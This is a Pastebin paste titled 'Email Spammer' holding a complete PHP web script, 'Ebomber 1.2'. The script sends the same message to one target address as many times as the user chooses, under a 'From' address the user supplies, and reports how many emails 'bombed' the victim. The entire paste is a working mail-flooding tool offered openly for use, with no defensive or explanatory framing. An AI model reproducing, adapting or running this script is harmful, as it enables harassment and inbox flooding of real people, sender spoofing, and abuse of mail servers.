Kyfx

Email Spammer

Dec 20th, 2015
822
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.86 KB | None | 0 0
  1. <?php?>
  2. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  3. <html xmlns="http://www.w3.org/1999/xhtml">
  4.  
  5. <head>
  6. <title>Ebomber 1.2</title>
  7. <meta name="Description" content="A PHP Email Bomber" />
  8. </head>
  9.  
  10. <body>
  11. <form method="post" action="">
  12. <b>Email To Bomb:</b><br />
  13. <input type="text" name="emailto" size="53"><br />
  14. <b>Return Email:</b><br />
  15. <input type="text" name="emailfrom" size="53"><br />
  16. <b>Subject:</b><br />
  17. <input type="text" name="subject" size="53"><br />
  18. <b>Message Body:</b><br />
  19. <textarea name="message" rows="6" cols="40"></textarea>
  20. <br /><br />
  21.  
  22. <b>Send <input type="text" name="sendamount" size="1" value="1"> Email(s).</b> <input type="submit" name="bombmail" value="Start The Madness!">
  23. </form>
  24.  
  25. <?php
  26. if (isset($_REQUEST['bombmail'])){
  27. $emailto = $_POST['emailto'];
  28. $emailfrom = "From: ".$_POST['emailfrom'];
  29. $subject = $_POST['subject'];
  30. $message = $_POST['message'];
  31. $sendamount = $_POST['sendamount'];
  32. $i = 0;
  33. if ($emailto == ""){
  34. echo "<br /><b>Error: You must enter an email to bomb!</b>";
  35. } else if ($emailfrom == ""){
  36. echo "<br /><b>Error: You must enter an email to send from!</b>";
  37. } else if ($subject == ""){
  38. echo "<br /><b>Error: You did not enter a subject for your message!</b>";
  39. } else if ($message == ""){
  40. echo "<br /><b>Error: You did not enter a message to send!</b>";
  41. } else if ($sendamount == ""){
  42. echo "<br /><b>Error: You did not enter a valid amount of emails to send!</b>";
  43. } else {
  44. do {
  45. mail($emailto, $subject, $message, $emailfrom);
  46. $i++;
  47. }
  48. while ($i<$sendamount);
  49. echo "<br /><b>You have successfully bombed ".$emailto." with ".$i." email(s)!</b>";
  50. }
  51. }
  52. //As stated above, removing the credits won't do anything but it would be nice if you kept them there.
  53. ?>
  54. <br />
  55. <b>Created By Jordan Dawson</b><br />
  56. </body>
  57. </html>
Add Comment
Please, Sign In to add comment